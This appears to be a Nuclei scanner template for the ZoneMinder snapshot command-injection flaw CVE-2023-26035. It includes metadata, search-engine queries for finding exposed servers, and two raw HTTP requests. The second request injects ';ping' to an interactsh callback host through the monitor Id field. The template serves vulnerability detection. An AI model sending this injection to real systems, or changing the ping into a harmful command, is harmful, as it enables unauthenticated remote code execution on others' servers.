2023-12-19 16:43:11 +00:00
id : CVE-2023-26035
info :
name : ZoneMinder Snapshots - Command Injection
author : Unblvr1,whotwagner
severity : critical
description : |
2023-12-20 14:31:41 +00:00
ZoneMinder is a free, open source Closed-circuit television software application for Linux which supports IP, USB and Analog cameras.Versions prior to 1.36.33 and 1.37.33 are vulnerable to Unauthenticated Remote Code Execution via Missing Authorization. There are no permissions check on the snapshot action, which expects an id to fetch an existing monitor but can be passed an object to create a new one instead. TriggerOn ends up calling shell_exec using the supplied Id.
2023-12-19 16:43:11 +00:00
remediation : This issue is fixed in This issue is fixed in versions 1.36.33 and 1.37.33.
reference :
- https://www.rapid7.com/db/modules/exploit/unix/webapp/zoneminder_snapshots/
- https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-72rg-h4vf-29gr
- https://packetstormsecurity.com/files/175675/ZoneMinder-Snapshots-Command-Injection.html
- https://github.com/rvizx/CVE-2023-26035
2023-12-21 08:09:16 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2023-26035
2023-12-19 16:43:11 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2023-26035
cwe-id : CWE-862
2024-05-31 19:23:20 +00:00
epss-score : 0.96928
epss-percentile : 0.99718
2024-01-14 13:49:27 +00:00
cpe : cpe:2.3:a:zoneminder:zoneminder:*:*:*:*:*:*:*:*
2023-12-19 16:43:11 +00:00
metadata :
verified : true
2024-01-14 13:49:27 +00:00
max-request : 2
vendor : zoneminder
product : zoneminder
2024-06-07 10:04:29 +00:00
shodan-query :
- html:"ZM - Login"
- http.html:"zm - login"
2024-05-31 19:23:20 +00:00
fofa-query : body="zm - login"
2023-12-19 16:43:11 +00:00
tags : cve,cve2023,rce,zoneminder,unauth,packetstorm
2024-01-26 12:39:32 +00:00
flow : http(1) && http(2)
2024-01-16 08:23:28 +00:00
2023-12-19 16:43:11 +00:00
http :
- raw :
2023-12-19 16:49:56 +00:00
- |
GET /index.php HTTP/1.1
Host : {{Hostname}}
2023-12-19 16:43:11 +00:00
extractors :
- type : regex
name : csrf_token
group : 1
regex :
- csrfMagicToken = \"(key:[a-f0-9]{40},\d+)
2023-12-20 14:31:41 +00:00
internal : true
- raw :
- |
POST /index.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
view=snapshot&action=create&monitor_ids[0][Id]=;ping+{{interactsh-url}}&__csrf_magic={{csrf_token}}
2023-12-19 16:43:11 +00:00
matchers :
- type : dsl
dsl :
2023-12-19 16:49:56 +00:00
- contains(interactsh_protocol, "dns")
2024-06-08 16:02:17 +00:00
# digest: 4a0a0047304502201deb0e902ab9301973a9175dfbe3c92b2c8761d9afbe744306f431c855dc420c0221008c9d19f10daf8096c7490f8ae6fcf83176884e79179e9bc694da5f1640fae636:922c64590222798bb761d5b6d8e72950